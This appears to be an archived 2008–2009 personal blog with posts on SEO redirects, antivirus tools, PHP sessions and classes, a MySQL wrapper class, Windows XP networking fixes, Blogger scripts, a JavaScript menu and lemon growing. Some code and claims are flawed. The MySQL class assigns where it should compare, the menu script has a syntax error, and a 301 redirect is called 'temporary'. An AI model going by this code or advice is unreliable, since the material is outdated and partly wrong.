}
?>

Note: system works only when JavaScript is enabled.

SEO penalty checklist: 404 and 301redirects

2009-11-13T02:37:00.000-08:00

Do you know what's the difference between these two? (where to find them? hint: look at your .htaccess file)

ErrorDocument 404 http://your_website.com/error404.php

ErrorDocument 404 error404.php

It appears that the first line returns 302 Found header code and then redirects to your 404 page. - a really bad thing from a SEO standpoint which gets penalized. More info on how to fix it here: 302 hijacking
The second line gives you the normal 404 page returning a proper 404 header code.

It also appears that using too many 301 redirects cause penalty. But how's that?
Can you recognize this code?

RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]

You may know that it's OK when you have several empty PR5 domains to redirect them to your website via 301 temporary header redirect. But what happens if they already have some kind of penalty applied. Well it automatically transfers to your new domain, because as you've might noticed 301 is actually a PERMANENT redirect.
One must be really careful about these things. Now go ahead and fix all your 404 and 301 redirect headers!!!

Review of a future antivirus software or HIPS

2009-11-12T12:55:00.000-08:00

On this video you'll see why it's great to have a Host Intrusion Protection System such as the free DefenseWall.
The program comes handy when you get infected with nasty viruses. Like those that use self modifying code, load up even in safe-mode or damage the system files like Virut variants. In such extreme cases sometimes the only option left for the user is to format and do a clean reinstall which takes time.

But before giving up try DefenseWall from http://softsphere.com. The program creates a sandbox in which runs every new application. Once inside the process has limited privileges/resources and if misbehaves you have the choice to delete the process and automatically rollback the system to its previous working state.

Every time a process tries to access your protected area or spawn a new one out you get notified and you can choose to allow, disallow this action or terminate the initiating process.
By default all the running applications are being untrusted, but you can also create another group of trusted applications that you frequently use.

Also you have one really wonderful tab called "Stop Attack" and if you press on the button Close untrusted processes the DefenseWall will automatically terminate all the untrusted applications.

If you are already infected just click on File and Registry tracks to search for, select and and delete all the malware/trojan/virus processes and their tracks.

Here is a quick intro on how to work with the program:

PHP lessons - sessions

2009-10-09T08:20:00.000-07:00

Why do you need sessions?
Sessions are handy when you want to remember some information(i.e. variables ) and keep it accessible across website's pages.

What are they being used for?
Usually to remember some preferences like:

user name
shopping list of items
user rights: like what kind of permissions does one have
user state: whether someone is logged in or not
etc..

By using sessions we can access such data through the $_SESSION[] array. This way significantly reducing queries made to the database.

Session and cookies - differences
1. Sessions use cookies, to set their unique id PHPSESSID=0g4sdf4agh27cghef3dhgahfh7j1gheg1j6, with no other data set in the cookie. This way server knows how to identify your session from others. The other method of doing this is passing the session id to the page URL as a parameter.
2. Cookies data is browser stored, while sessions data reside on the web server being invisible to the end user.

How to work with sessions?
You'll just need to start a session with:

<? session_start(); ?>

then to store a value in the $_SESSION[] array just type:

$_SESSION['user_name']="Paul";

When you want to access your session data from other page just:
1. Start the session with session_start().
Remember to place the above code at the top of your web page, otherwise you'll see errors!
2. To access the stored data just type:

echo $_SESSION['user_name'];

That's it. Now you can watch the video for some more examples of sessions basic usage:

PHP lessons - introduction to classes and objects - part I

2009-09-27T21:34:00.000-07:00

You can think of a class as a needful template that defines an object. It contains functions known as class methods and variables known as class properties/attributes. They are much like the normal php functions and variables:

//example of class property
public $my_name = "test";

//example of class method
function my_method() {
echo "Hello!";
}

Here is an example of a simple class structure: Just copy and paste it in your favorite editor:

<?
class my_class {//begin of class definition

//here we place its functions and variables
public $my_name = "test"; //we are directly setting value of "test" to variable $my_name

function my_method() {
echo $this->my_name; //we are accessing the above class variable $my_name
}

} //end of class my_class
?>

(Note that we've changed the function my_method(). This way when evoked it will display the contents of $my_name. The arrow symbol ( -> ) points to a method or property of a given object. To access our current object, we use the special name $this.)

Next lets create a new object or in other words to make an instance of my_class:

$my_object = new my_class(); //create object from class my_class accessible through variable $my_object

Now the variable $my_object holds a reference to the newly created object of class $my_class. So we could try its methods and properties:

$my_object->my_method(); //will display "test"
$my_object->my_name = "Peter";
echo "<br />";
$my_object->my_method(); //will display "Peter"

Initialization
If we want to initialize our class(i.e. to run some functions or set up some variables) we use its special function called __construct(). Upon exiting our class we use its function __destruct(). Also in the example we restrict the access to our class variable.
Here is an example:

<?php class User{

private $name; //variable $name will be accessible only via methods set_name() and get_name()

function __construct($default_name = "anonymous"){ //initialize $name = "anonymous";
$this->name = $default_name;
}

function set_name($new_name){
$this->name = $new_name; //set $name via incoming parameter $new_name;
}

function get_name(){
return $this->name; //access contents of $name;
}

}

//create object $my_user or make an instance of User
$my_user = new User();

echo "Initial name: " . $my_user->get_name();
echo "<br />";

//now we change $my_user
$my_user->set_name("Ted");
echo "New name: " . $my_user->get_name();
?>

As you can see we've set up out User class: have initialized its default $name via the constructor __construct(), and we have built two functions to manipulate its name(get_name and set_name). Remember that variable $name now can only be accessed by the class methods get_name() and set_name() and not directly: echo $my_user->name will produce an error.

Why private?
Well, it's really a practical question. And the answer is simple: you use 'private' when you have member variables that depend on each other(i.e must change accordingly).
for example if you have:

class User {
public $name; //public means open to direct access
public $avatar;

function set_name($new_name) {
$this->name = $new_name;
$this->avatar = "My name is $this->name. Nice to meet you!";//dependent variable
}
}

$my_user=new User();
$my_user->set_name("John");
$my_user->name="test";
echo $my_user->name;
echo $my_user->avatar;
?>

when $name is 'public' you are allowed to use the direct: $User->name = "John";
but this way you'll ONLY change the variable $name and user's $avatar will not be updated!
Solution: Just set $name to 'private' to disable access such like $User->name and use member function set_name() that automatically updates the dependent variables for you. Now of course you must use the function get_name(); to get the value of variables $name and avatar like for example:

function get_name() {
echo $this->name;
echo "
";
echo $this->avatar;
}

Here is part I of the video from this tutorial:

In lesson 2 we'll explore more advanced topics and practical usage of PHP classes and objects.

PHP lessons - MySQL class example

2009-09-22T04:15:00.000-07:00

<?php
class mysqldb {
//set up the class
var $dbhost;
var $db;
var $dbuser;
var $dbpassword;
var $sql;
var $result;
var $numberrows;
var $dbconnection = false;
var $insert_id;

function get_insert_id(){ $this->insert_id=mysql_insert_id(); return $this->insert_id;}

function getdb(){return $this->db;}

function setdb($req_db){$this->db = $req_db;}

function setdbuser($req_user){$this->dbuser = $req_user;}

function setdbpassword($req_password){$this->dbpassword = $req_password;}

function getsql(){return $this->sql;}

function setsql($req_sql) {$this->sql = $req_sql;}

function getnumberrows() {return $this->numberrows;}

function setnumberrows($req_numberrows) {$this->numberrows = $req_numberrows;}

function setdbconnection($req_dbconnection){$this->dbconnection = $req_dbconnection;}

function closedbconnection(){
if($this->dbconnection=$TRUE) mysql_close($this->dbconnection);
}

function real_escape($string) {
return mysql_real_escape_string($string,$this->dbconnection);
}

function mysqldb(){
$HOST           =    "localhost";
$DB             =    "your_db_name";
$WEBUSER        =    "your_mysql_username";
$WEBPASSWORD    =    "your_mysql_password";
$this->setdb($DB);
$this->setdbuser($WEBUSER);
$this->setdbpassword($WEBPASSWORD);
$this->opendbconnection();
}

function opendbconnection(){
$this->dbconnection=mysql_connect("$this->dbhost","$this->dbuser","$this->dbpassword");
if ($this->dbconnection)//if we have connected select and return true
{
mysql_select_db($this->db,$this->dbconnection) or die("Unable to select database");
}
else {$this->dbconnection=false;}

// unset the data so it couldn't be dumped
$this->dbhost='';
$this->db='';
$this->dbuser='';
$this->dbpassword='';
}

function selectquery(){
$this->qry=@mysql_query($this->sql,$this->dbconnection);
if(!$this->qry){$this->numberrows=0; return false;}//query error

else{//query passed
$this->numberrows=@mysql_numrows($this->qry);
//if we have any result fill in the result array
if($this->numberrows>=0) {
for($x=0;$x<$this->numberrows;$x++){$this->result[$x]=@mysql_fetch_array($this->qry);} return true; }  else{$this->numberrows=0; return false;}//if we don't have results give error
}//end query passed
}
}//end of class mysqldb  
?>

Here is the explanation of the code: As you can see from the first few lines of code we are declaring a class. It's name is mysqldb and will hold all our database handling functions such as: opendbconnection(), selectquery(), etc... As you know in Object Oriented Programming these functions are called member functions, because when we create a new 'member', 'object', 'instance'(synonyms in OOP) from this class those functions will automatically attach and belong to the new member.

There are also member variables such as: $dbhost, $db, etc... They are helpful because they are used to exchange data through the all class functions. It's also worth mentioning that every newly created(also called derived in OOP) object could hold its own different data in those variables.
In this database class we'll mainly use member functions to perform various operations and return result such as TRUE, FALSE or a data filled member variable. This way we'll simplify the whole coding process.

But let's first explain the main functions:
function mysqldb() is used to set up our database: host, name and credentials such as username and password needed in order to connect. Their values are being hardcoded as variables, but you could load and use them from another file. Next these variables are set to the object via member functions so they become member variables - accessible from every function inside the class.
Next comes a call to opendbconnection(). As we can see there mysql_connect() uses our member variables to connect to the database host and select the proper database. We have used the variable $dbconnection to show whether our connection has launched successfully. Then we reset our connection variables. This way if somehow our object is hacked and dumped, these variables will be empty, so the attacker won't knew our username and password to gain access to our database.

I. Initial setup example:
Change:

$DB             =    "your_db_name";
$WEBUSER        =    "your_mysql_username";
$WEBPASSWORD    =    "your_mysql_password";

and save the above code as mysql_oop.php

then in a separate php file run:

<?
include_once("mysql_oop.php");
$db= &new mysqldb;
?>

This way we include our database class and create new instance(object) of it. From now on we'll have an access point to that object(or our database) via the variable $db.

II. Selecting, Updating and Deleting data
Function selectquery() is handy because it runs a given sql query and returns its calculated result. In order to use it we must first call function setsql() like this:

<?
$db->setsql("SELECT * from our_table");//fill in the $db->sql variable;
if(!$db->selectquery()) {echo "query returned empty dataset";}
$info = $db->result;
print_r($info);
?>

our result will show up in the $info array. Don't forget to initialize the class first with the 2 lines from our first example. Go ahead and try it!

III. More examples:
Before running a query we must check the input variables. It's easy. For example to check and sanitize the escape characters of variable $password just do:

$new_password=$db->real_escape($new_password);

To get the returned number of rows:

echo $numberrows = $db->getnumberrows();

To debug or show your input sql query code you can use:

echo $db->getsql();

function get_insert_id() displays the id of our last inserted row

and closedbconnection() is used to close the connection to our database server

This object oriented approach is very flexible. Just try the above code and if you have questions go ahead and ask!

Update: please see the following video for working examples:

A squared free - best antivirus for 2009

2009-09-16T10:27:00.000-07:00

Recently I was having a spyware problem, and this time I decided to look around and retest some of my favourite antivirus software. I tried complex scanning with Dr.Web, Spyware Terminator, AntiMalware from MalwareBytes, Spybot and AdAware.

It appeared that none of them was able to detect the spyware/trojan I was having. I took this as a good sign but then Spyware Terminator Schield warned about some suspicious file trying to access the Internet. The filename was something random such as: 5fdsfgjik.dll and resided on c:\windows\system32\. That looked very suspicious to me, so I blocked the file. I also noticed that when left unblocked, my traffic lights were constantly on, so I located the file and send it to http://virusscan.jotti.org/. Only A-sqared, Icarus and one more software detected the virus. So I download the A-squared free version and cleaned up my computer. Later I found that the A squared took first place in testing executed by www.av-test.org test including 3200 of the most spread malwares with about 480,000 unique malware samples. Here are some details of the 2009 test:

http://www.protectstar-testlab.org/content/site/dateien/1010test-emsi-a-squared_en.pdf

http://www.emsisoft.com/images/antivirustest_pcsl_200907.png

http://malwareresearchgroup.com/?page_id=3

http://ssupdater.com/modules/Forums/index.php?showtopic=5508

2008 test: http://www.pcsecuritylabs.net/articles.php?article_id=4

The following programs were tested:

- Avira Antivir Personal Free Antivirus 9.0
- Bitdefender Free Edition 10
- Panda Cloud Antivirus Beta
- Microsoft Security Essentials 1.0
- Alwil Avast Antivirus Home 4.8
- AVG Anti-Virus Free Edition 8.5
- Emsi Software a-squared Free 4.5
- Comodo Internet Security 3.10
- PC Tools Antivirus Free Edition 6.0
- Clamwin Free Antivirus 0.95

The detection test results for a-squared Free:

- Wildlist Malware on Demand: 100% detected
- Worms: 99.99% detected
- Backdoors: 99.98% detected
- Bots: 99.81% detected
- Trojans: 99.95% detected
- 5 active nasties: 100% detected
- Heuristic (1 week without updates): 63.56% detected
- Heuristic (2 weeks without updates): 52.72% detected
- Adware and Spyware: 99.57% detected

So go ahead and check your computer. It's free for the first 30days.

Internet connection sharing problems on Windows XP SP2

2009-07-26T01:02:00.000-07:00

Hello, this post is about how to fix errors such as:

svchost.exe - Application Error: The instruction at "0x00000000" referenced memory at "0x00000000". The memory could not be "read".
Click OK to terminate the program
or
Click CANCEL to debug the program

I've recently experienced such problem: about 10 minutes after running my computer: the svchost.exe pops up with the above memory access violation i.e.: cannot read from memory OK or Cancel. Whatever button I press on my Internet stops and I have to restart in order to regain functionality or just to ignore the popup.

I've searched for such svchost errors and even updated it but still experienced the problem. Then I grabbed ProcessExplorer(http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx) and pointed with the 'target' tool to the error message. It appeared that the owner of the error was csrss.exe.

Next thing - I went to microsoft.com website and found a critical update to its windows users( http://www.microsoft.com/technet/security/bulletin/MS07-021.mspx). Applied it, but the problem stayed.

This time I looked at the Windows' event log and I saw that the Windows Firewall/Internet Connection Sharing could not be started because of error: 5( access denied ).
After some research here is what I found: http://support.microsoft.com/kb/892199
It appears that upon restart certain permissions prevented you from starting the Windows Firewall service( SharedAccess ) again in Windows XP Service Pack 2. So service's permissions got to be restored:
How: open command prompt: Start->run->cmd and type

SC sdset SharedAccess D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)

P.S. if you're still experiencing problems try the following:
1) upgrade to SP3
2) disable and stop the Computer Browser and Server services from: Start->Run->services.msc
3) run a scan with a-squared free.

Cheers and I hope it helps you!

Windows installation of Php, Mysql & Apache

2009-06-15T23:50:00.000-07:00

This article will show how with only a few easy steps you can install the Apache web server, the Php language, and the Mysql databases all under Windows OS. This way you'll be able to develop your own websites.
Let's begin!

First download and install the following packages in the this way:
1. Apache Win32 Binary http://httpd.apache.org/download.cgi
2. PHP installer http://www.php.net/downloads.php
3. mysql community server http://dev.mysql.com/downloads/mysql/5.0.html
(optionally: mysql php_mysqli.dll driver from http://dev.mysql.com/downloads/connector/php-mysqlnd/)

APACHE
Check up: After the initial installation in a browser window address bar window type: http://localhost
If working properly the Apache server will show you this message: It works!

PHP
1. Open the file httpd.conf found in directory: C:\Program files\Apache Software Foundation\Apache2.2\conf\ and add after the last LoadModule section:
LoadModule php5_module "C:\Program Files\PHP\php5apache2_2.dll" where php4apache2_2.dll is the file telling Apache to load dynamically the PHP language.
Note: if your file has different name please use it!

2. Find the AddType line and add the following under:
AddType application/x-httpd-php .php
This tell the webserver to associate all .php files to the interpreter. Otherwise when you run a .php file in your browser you'll see i as normal text file followed by the usual Save as dialogue.

Check: Create a new file named index.php and type in the following: <? phpinfo(); ?> . Place it in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs. Open the browser again and load the index.php file. If it loads up properly then your Php is being installed correctly!

MYSQL
1. Rename the file php-dist.ini to php.ini and copy it from directory it's installation directory i.e. Program files\PHP in c:\windows. Then copy the files php_mysql.dll and libmysql.dll in directory c:\windows\system32.

2. Open c:\windows\php.ini and add after the section Dynamic extensions the following 2:
extension=libmysql.dll
extension=php_mysql.dll

Check: If everything is ready create index.php file having content <? phpinfo(); ?> in: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs
Point your browser to: http://localhost and you'll have to see in the information the Mysql section.

When having problems:
If Apache fails to run open Start->Run->eventvwr.msc and check under the Application tab the type of error coming from Apache Service. Most common error is:

Only one usage of each socket address (protocol/network address/port) is normally permitted. : make_sock: could not bind to address 0.0.0.0:80

Solution: open httpd.conf and change the listening port used by Apache to 3128 for example.

Other often harder to see error is being produced when you use the short <? when typing your code - this is forbidden in some of php versions. If you want to use this functionality then change the option:
short_open_tag = On
in php.ini

Cheers, and if you have any questions just ask!

Increase indexing by clearing supplementals

2009-04-07T04:07:00.000-07:00

Google maintains two indexes: primary and supplemental. Everything that looks spammy(i.e. same content) or not considered worthy(i.e. doesn't have enough backlinks) goes to the supplemental.

A limit factor shows the percentage of indexed and available via search to its supplemental pages a particular website might have.

In summary: the more pages you maintain in Google's primary index the better!

For example if you run a PR5 website with 500 articles then you may be allowed to show no more than 800 of site's pages in Google's primary results(ie. without having to use &filter=0 in the end of the query).
But what happens when you want to place a new internal link sitewide but forgot to add rel="nofollow" to it ? like: href="read_later&article_id=xxx" where xxx changes but points to same content. This is considered as useless and spammy by Google.

Few days later you'll notice such picture: 300 indexed pages in the primary index and the rest 500+ out in the supplemental index. Followed by a traffic decrease - because now the supplemental pages not even shown in user's queries.

What happened?
By placing a link to each and every of your pages you've reduced the particular page's power. This way only few pages supported by lots of incoming links manage to get through the main index.

What can you do?
You need to clean up the mistaken link and page.
Procedure:
1. Add rel = "nofollow" to the link.
2. disable the page pointed by the link from indexing by using robots.txt or meta noindex, nofollow
3. find the spammed pages and remove them one by one via Google webmasters tools(remove urls)

How to find those supplemental links more effectively?
Sometimes when you try to find links via: site:http://yourwebsite.com you wont see their full list.
What to do?

use the parameter "-" in your query:
First do a site search site and then consecutively remove the known and valid URLs from the results.
"site:http://yourwebsite.com -article"
will remove all urls like article-5.html, article-100.html etc... This way you'll see the spammy pages more quickly.
when you know the spammy page name just do
site: http://yourwebsite.com problematic_parameter

ie.:"site:http://yourwebsite.com mode" this will show all of the indexed modes of your website like: mode=new_article, mode=read_later, mode=show_comment etc... Pick the wrong ones and do a removal request upon them.

Cheers!

Reducing bounce rate for fun and profit

2009-02-20T04:48:00.000-08:00

What is Bounce rate and why it's so important?

The bounce rate factor shows the percentage of visitors watching pages on your website for less than 5 seconds. It is also a metric for those who visit only one page without continuing further.

Example: if you have 2000 visitors with 100% bounce rate it means that all those 2000 leave right upon entering your site.
In other words bounce rate reveals % of visitors who've "escaped" or bounced away. It's also important to know that when this percentage is high enough the traffic inflow becomes pointless. In such situation website resembles a bottomless glass - with visitors just going in and out without further exploring.

A good one is the shops analogy where in order to achieve a sell you want your visitors to look at the next blouse, jeans etc... So it's essential if they don't "bounce" to the next store or to keep this rate to the minimum.

Now go ahead and take a look at bounce rate in your analytics software. And if you notice values higher than 70% you'd better lower them.

Here are some practical tips you can do to decrease a website bounce rate levels:

1. Make the outgoing links open in new Window/Tab
When clicking on external links visitors usually forget about the main page. Once finished visiting they click on the X button and loose connection to the referring page. But when links open in new tab the visitor will just go back to the main page.

2. Place only relevant most read & commented articles right after the post
If you only put some random articles behind your post a visitor interested in fishing will quite unlikely be interested in IP filtering etc... and will bounce.
On the other side when you offer relevant information behind the post visitors will continue to explore further. Also true if you put "More articles from article's subject" just behind the article.

3. Put "go back" or "return to section" link at the end of pages
When visitor reads an article he/she is already fed with information and wants to close it by thinking that this is all what you can offer.
By placing "return to section" link at the page bottom you give an option of what can be done next.

4. Place HOME button combined with relevant image at the upper left corner of the website.
Typical visitor wants to feel safe, always knowing how to get back to the first page or category start. This way besides the increased navigation usability you are revealing him/her the route of your website.

5. Divide long content by pages.
It's true that almost no one wants to read long screens of text, so shorter passages are great way if you want to hold someone's focus. Practice, also beneficial for increasing the page stay time.

6. Make the links easy to distinguish
- underlined and styled with the default blue color. There is no need to make users guess which are links.

7. Limit the ad space to minimum.
This way you create feeling of website made not only for advertisement thus minimizing the distraction for the interested individuals who will continue to read.

Resources: http://www.kaushik.net/avinash/2007/08/standard-metrics-revisited-3-bounce-rate.html

How to share Internet connection in Windows XP

2009-01-18T23:59:00.000-08:00

Here is how to share your Internet connection in a way that other computers to be able to use it. The popular way of doing this is by using a hardware router or a combination of a proxy server and a hub. In the article I'll show how to easily share your connection with the Windows XP integrated Internet Connection Sharing.

The alternatives:
Hardware router
Pros: - once turned on the device provides Internet connection.
Cons: - set up, price.

Hub
Pros: - price, allows proper connectivity and data transfer between several computers.
Cons: - doesn't support network address translation(NAT).
+
Proxy server
Pros: - emulates hardware router functionality and gives IP address and port to the clients to provide Internet connectivity.
Cons:
- every client needs to use the Proxy server address
- network connection protocols are not being fully supported

What you'll need:
- one additional network(LAN) card, which will act as an outgoing Internet device
- (optionally) hub, if you are willing to share you Internet with more than one computer

Let's begin
Server setup
First off you'll have to know whether you've been using:
Dial up type of connection (PPPoE) providing a username and password or you are directly connected to your provider(ADSL...) without having to enter username and password every time prior using the Internet.

Open up Start->Settings->Network Connections to see your network cards(LAN).

Important!
If you are using ADSL find the incoming Internet connection card(i.e through which the Internet comes in) and right click -> Properties(fig. 1)
If you are using LAN + Dial up find your Dial up connection(and not the LAN card) and right click -> Properties(fig. 2)

Fig.1 ADSL

Fig 2. LAN + Dial up

On the next screen check the Allow other network users to connect through this computer's Internet connection.

Then you'll be prompted to allow the ICS to change your second(inner) LAN card settings.
From now on it'll have IP 192.168.0.1 and will serve dynamic IP addresses via DCHP to the connected computers(clients).

Other computers setup(clients)
The only thing left to do is to go to Start->Settings->Network Connections, right click on the network card Properties -> Internet Protocol(TCP/IP) - then again on Properties.

...and check both as shown automatically

Don't forget!
Protect the shared connection
When all of your computers already have Internet it is important to turn on the integrated Windows firewall:
from Start->Run->Firewall.cpl
and then check both: On(recommended) and Don't allow exceptions

Now you are ready. Happy surfing!!!

Remarks:
If you are using home LAN having IP addresses different than 192.168.0.х you'll have to change your DHCP server settings from here: http://support.microsoft.com/kb/230148

Easy solve the AJAX c00ce514 error

2008-12-30T11:00:00.000-08:00

If your AJAX code runs smoothly on Mozilla Firefox but experiences problems when running on Internet Explorer and gives out an error:

"Could not complete the operation due to error c00ce514"

here is what to do : just set the proper character set encoding in your requested file and try again:)

PHP Example:

header("Content-type: text/html; charset=windows-1251");

The error means that Microsoft XML Parser is having problems when parsing the AJAX response string.

Cheers!

How I easily increased my website visitors by 30%

2008-12-16T03:02:00.000-08:00

From the articles we read we suppose that users are equipped with latest browsers, and are using more and more Firefox, Opera and Chrome. Let's see whether this is true.

Problem description:
I decided to test my website layout in different browsers so I've loaded it up in browsershots.org.

Result: Everywhere except on Internet Explorer 5.5 & 6 the site rendered correctly. On the mentioned versions a JavaScript error alert popped up followed by blank page. It appeared that Internet Explore 5.5 & 6 both fail to render a page when its DOM structure is changed by Javascript/AJAX methods residing in a element under the body tag. In that case Internet Explorer gives error: 'The Page cannot be Displayed' or 'Internet Explorer cannot open the Internet site http://... Operation aborted'

Here is the official statement on this issue from Microsoft: http://support.microsoft.com/kb/927917

Statistics:
When I looked at Google Analytics I've understood that around 70% from all users preferred Internet Explorer 35% of which using IE6. Because I wanted to help my IE6 users I ran the following solutions then tested again with browsershots.org:

Solutions:(chose what suits you)

- move the script at the end of your body tag or place it up in the head tag.

- load up your JavaScript code from a function called by window.onload

- do not load JavaScript code if your Internet Explorer version is < 7

- add the attribute defer="defer" after your script

Results: The stats showed over 30% increase in my website traffic. And that was a real success!

....
P.S. Sometimes same JavaScript code runs flawlessly under Firefox, but produces errors within Internet Explorer. So here are some common errors and ways of fixing them:

Expected identifier, string or number
array: var img= {width:100, height:100,}
Firefox runs without errors, IE - gives error.

Solution(remove the comma at the end, otherwise it actually instructs the interpreter to expect next element.):
var img= {width:100, height:100}

object Expected when working with previousSibling and nextSibling
var prev=el.nextSibling;
again Firefox goest without errors, in difference with Internet Explorer

Solution: always check whether the element exists or not:
if (el.nextSibling) {
//use the element
var prev=el.nextSibling;
}
...
Initial element check:
var el = document.getElementById("el_id");
if(el) {
//use the element
}

You can also try the free online JavaScript checker JSLint.

PHP & Oracle Cyrillic howto

2008-12-15T06:15:00.000-08:00

Here is how to display and work with actual Cyrillic characters instead of unrecognised '???'
The following examples are suitable for fetching data between php and oracle.

How?
Just set the proper internal Cyrillic charset in the oci_connect function
example:

oci_connect('username', 'password', '',"BG8MSWIN");

List of Oracle's internal charsets you can see here:
http://www.daylight.com/meetings/emug04/Delany/charsets.html

Optional:
Once you've got Cyrillic symbols and not only ???(question marks) you can detect the encoding of a given string using:

echo mb_detect_encoding($string);

and then convert it via:

$string = iconv('utf-8','windows-1251', $string);

That's it! I hope the information helps you!

Category feed subscription script for Blogger

2008-11-21T00:16:00.000-08:00

When I first started writing my blog I managed to put a feed. Not long after I was happy that visitors actually subscribed to my posts. Later the feed statistics showed old subscribers withdrawal, substituted by new fresh subscriptions. This way the overall subscribers count stayed the same and that was a problem.

Since then this has been a mystery to me until I thought more on the subject: The posts were ranging from computers to garden, aquarium fish, fitness etc... - all unrelated - so that might be the reason behind user's opt out - the next post was not always of their interest.

That's why I've implemented this handy script that you can place at the bottom of your posts to encourage user's subscription to a specific feed category. It is based on your post labels - so if you've already labeled your posts then feed subscription links will show automatically.

Demo: You can see it working at the bottom of this post.

Installation:
1. Open your Blogger HTML template
2. Check Expand Widget Templates
3. Replace 'your_blog_address.com' with your actual blog address and paste the following code below your <data:post.title> tag:

<b:if cond='data:post.labels'>
<div style='background:orange; padding:1em;'>
Free subscription to new articles from category:
<b:loop values='data:post.labels' var='label'>
<a expr:href='"http://your_blog_address.com/feeds/posts/default/-/" + data:label.name + "?alt=rss"' rel='nofollow' style='color:brown;'> <data:label.name/></a><b:if cond='data:label.isLast != "true"'>,</b:if>
</b:loop>
</div>
</b:if>

How to track feed conversion rate
If you wish to track your feed subscriptions just use Google Analytics to create a Goal.
Fill in:

Goal URL: http://your_website.com/feed
Goal name: Feed label subscription

Then edit the subscription link and add the following tracking JavaScript code

onclick='javascript:urchinTracker("/feed")'

example:

<a onclick='javascript:urchinTracker("/feed")' href="http://yourwebsite.com/feeds/posts/default/-/your_label?alt=rss">Feed label subscription</a>

That's it. When a visitor subscribes you will see it from the Goals report as accomplished goal. Even more interesting is the Reverse Goal Path report that will show you the actual navigation and pages from which visitor's subscribed.

bonus:
Most popular articles script based on comments count

<script type="text/javascript">
function pipeCallback(obj) {
document.write('<ul style="text-transform: capitalize;"><li><strong>Popular Posts:</strong></li>');
var i;
for (i = 0; i < obj.count ; i++)
{
var href = "'" + obj.value.items[i].link + "'";
var item = "<li>" + "<a href=" + href + ">" + obj.value.items[i].title + "</a> </li>";
document.write(item);
}
document.write('</ul>');
}
</script>
<script src="http://pipes.yahoo.com/pipes/pipe.run?_render=json&_callback=pipeCallback&_id=28a6afad7c6ba1288c1b738277e42385&url=http%3A%2F%2Fyour_blog_name.blogspot.com&num=10" type="text/javascript"></script>

just replace the parameter your_blog_name, create a new HTML/Javascript widget from the Blogger layout the paste the code there.
Cheers!

Take a rest

2008-11-20T00:17:00.000-08:00

Now finished with my job I am free to take an active rest for a week. Here is my plan:

It's the season of late fall and man must eat lots of natural supplements to boost his health so I'll try out with these:

fish oil - EFA(essential fatty acids) for the brain and eyes
lemon juice - to restore the electrolyte balance
olive oil - rich in EFA: omega 3:omega:6 ratio is 1:1
yoghurt - for the beneficial stomach bacteria
spirulina, pumpkin, carrot juice or beta carotene capsules for the eyes
2 litters of water daily

Most importantly I'll try to limit my time in front the computer downto 2 checks of the email - morning and evening. Instead I'll strengthen my social contacts.

Cheers and relax!

(images courtesy of Flickr!)

Growing lemons at home

2008-11-20T00:11:00.000-08:00

After several attempts I've succeeded to grow my own lemon tree from a seed. Here is how I've made it:

1. Take the seeds out of a big & ripe lemon.

2. Plant them 1-2cm. deep.

3. Wait 2-3weeks and new cuttings will begin to appear.

4. Give them plenty of water, and don't let the top soil to dry.

5. The outside temperature must be around 22C.

Enjoy your new lemon tree!
Cheers!

Here is my smallest one.

And my 3-years old lemon tree.

If you want to be successful and grow your own lemons there are some simple rules that you could follow:

Lemon tree loves shades and dislikes dry soils. Room light is usually sufficient for its growth, but for faster results during the winter season you can think of adding artificial lighting. Providing temperature between 15 and 20C will make your plant grow vigorously during the whole year.

Plant leaves are important to the tree and last between 2 to 3 years. If you're experiencing a leaf-fall please check for over watering, insufficient light or freezing. The lemon tree blooms 2-3 times per year, and its fruits ripe for about 10-12 months.

Don't over water the plant and provide water only when the soil dries. If you notice faded leaves then you must increase the watering. Between March and November it's good to add the following supplements to the soil:

Every 10 days: dissolved in 1ltr. of water 1tbsp. of ammonium nitrate + 1/2tbsp. of potassium.
Every 2 weeks give a combination of already fermented compost(1part) and 10parts of water. Once per month give the plant the combination from above supplements.

Good Luck!

Apple style JavaScript folding menu

2008-11-13T04:04:00.000-08:00

Here is a my full working version of the sliding vertical menu that you may use on your website. It resembles the functionality of the beautiful right menu from Apple's website. Demo version of the script you can see on this website: http://newiaqua.royalsbg.com

The code is using some pre-made unobtrusive javascript functions like jscss() thanks to http://www.onlinetools.org/. The menu also degrades gracefully on non-supporting JavaScript browsers.

JavaScript Code:

function jscss(a,o,c1,c2)
{
switch (a){
case 'swap':
o.className=!jscss('check',o,c1)?o.className.replace(c2,c1): o.className.replace(c1,c2);
break;
case 'add':
if(!jscss('check',o,c1)){o.className+=o.className?' '+c1:c1;}
break;
case 'remove':
var rep=o.className.match(' '+c1)?' '+c1:c1; o.className=o.className.replace(rep,'');
break;
case 'check':
return new RegExp('\\b'+c1+'\\b').test(o.className)
break;
}
}


function close(cl) { 
var re = new RegExp("(^| )" + cl + "( |$)");
var el = document.all ? document.all : document.getElementsByTagName("body")[0].getElementsByTagName("*"); // fix for IE5.x
for (var i = 0; i < el.length; i++) {

if (el[i].className && el[i].className.match(re)) {
if (el[i].nextSibling)  {
var tohide=el[i].nextSibling;  while(tohide.nodeType!=1)  {  tohide=tohide.nextSibling; }
el[i].tohide=tohide; //store the inner div
//close the opened content
jscss('swap',el[i].tohide,'open','close');
}
//remove state open from title
jscss('remove',el[i],'open');
}
}
}

function init(cl) {
var re = new RegExp("(^| )" + cl + "( |$)");
var el = document.all ? document.all : document.getElementsByTagName("body")[0].getElementsByTagName("*"); // fix for IE5.x
for (var i = 0; i < el.length; i++) {
if (el[i].className && el[i].className.match(re)) {

//find the next div
var tohide=el[i].nextSibling; while(tohide.nodeType!=1)  {  tohide=tohide.nextSibling; }
el[i].tohide=tohide; //store the inner div

//hide all closed content divs
if(!jscss('check',el[i],'open')) { jscss('add',el[i].tohide,'close'); }


el[i].onmouseover = function () {

//find the content div
var tohide=this.nextSibling; while(tohide.nodeType!=1)  {  tohide=tohide.nextSibling; }
this.tohide=tohide; //store the inner div


if (jscss('check',this.tohide,'close')) {

close("open");

//set title to open
jscss('add',this,'open');

//open the content
jscss('swap',this.tohide,'close', 'open');

}
}
}
}
} 


function myUnobtrusiveBehavior {
if (document.getElementsByTagName) {init("menu_title");}
}

if (document.getElementById) {
window.onload = myUnobtrusiveBehavior;
}

CSS Code:

